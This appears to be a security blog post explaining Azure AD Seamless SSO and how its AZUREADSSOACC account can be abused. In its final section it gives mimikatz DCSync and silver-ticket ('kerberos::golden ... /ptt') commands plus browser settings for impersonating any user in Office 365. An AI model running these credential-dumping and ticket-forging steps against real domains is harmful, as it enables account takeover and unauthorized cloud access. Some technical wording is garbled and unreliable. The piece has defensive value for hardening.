Azure AD Hybrid IMPERSONATION
Azure AD Seamless Single Sign-On (SSSO) automatically signs in hybrid users and devices from the local network to the Office 365 services. When AAD SSSO is enabled, users don’t need to type in their passwords to sign in to Microsoft Clouds services such as Office 365 or Azure AD. The Azure AD Hybrid IMPERSONATION post will take you shortly with steps to impersonate the relevant object.
How SSSO works
The authentication process for AAD SSSO is based on the local object, SPN’s and URLs that allow the users to sign in automatically.
After enabling SSSO, a new account is created called AZUREADSSOACCT in the local active direct, or, and the Kerberos decryption key is shared securely with Azure AD.
In addition to this object created another two Kerberos SPN’s to represent the cloud URLs used during authentication between the client and Azure AD.
Domain joined the Authentication process.
- User access a cloud resource
- Azure active directory sending request or challenge with a Kerberos ticket
- User device sending a ticket request to the active directory
- On-Premises Active directory first generates a Kerberos ticket for the user.
(Active Directory locate the AZUREADSSOACCT and encrypt the Kerberos ticket) - The Kerberos ticket pass to the client
- The client returns the encrypted Kerberos ticket.
- Azure AD decrypts the ticket using a pre-shared decryption key and validates the user.
- After successful validation, Azure AD will challenge those requests or provide access to the Cloud resource.
Azure AD exposes a publicly available endpoint that accepts Kerberos tickets and translates them into SAML and JWT tokens, which are understood and trusted by other cloud services like Office 365, Azure, or other SaaS applications or any other Kerberos-based authentication. It can be attacked using Silver Tickets.
Device Authentication process
In a scenario with Windows 10 devices, you can get AAD SSSO experience by work with Azure AD join. Azure AD will authentication process and experience as same as the domain join. But remember to configure SSO in the AD Connect tool.
When planning an authentication change, some highlight needs to plan, such: How users work? Authentication type, using ADFS and other questions.
When working in a scenario that users are working with Password Synchronization without an ADFS server, you can plan for change with Seamless SSO. Besides, Seamless SSO can work with Pass-Through Authentication.
Many organizations are currently based on Azure AD Connect with Password Synchronization and Modern Authentication, and Seamless SSO is disabled.
In this scenario, to Enable only the Seamless SSO isn’t good enough. Once you enabled only Seamless SSO, the Office application will not behave like the web application, and the credentials will save locally.
It is recommended to enable Modern Authentication with Seamless SSO to allow sane authentication for Web applications and Office applications.
Notes
- Domain Admins can only retrieve the hash of the AZUREADSSOACC account from DCs by default and if an attacker had such highly privileged access to an Active Directory domain.
- The password of the AZUREADSSOACC account is randomly generated during the deployment of Azure AD Connect only.
- Silver Ticket attack has been here for a while, but now is the first time it is used against a cloud service.
- AZUREADSSOACC password never changes, so the stolen hash will work forever
How to Discover Password
To discover a password from Seamless SSO follows these actions:
Retrieve AZUREADSSOACC Value from the local machine, run mimikatz with the following command:
mimikatz.exe “lsadump::dcsync /user:AZUREADSSOACC$” exit
Get-ADReplAccount -SamAccountName ‘AZUREADSSOACC$’ -Domain cloud -Server A-DC01.cloud.ms
SID of the user – Take one of the user sid values for the next step
Create the Silver Ticket and inject it into Kerberos cache. Run the following command:
mimikatz.exe “kerberos::golden /user:user1 /sid:S-2-5-31-2421556626-2695313549-3164778639 /id:1111 /domain:cloud.ms /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt” exit
Set SSSO URL’s – Go to about: config and set the network.negotiate-auth.trusted-URI preference to the Seamless SSO values with the following URL’s: https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
Login to Office 365 Portal – Go to any web application that is integrated with your Office 365 domain and login with the credentials that you extract before
In conclusion, Seamless SSO by design isn’t secure, and therefore you must harden the SSSO integration.
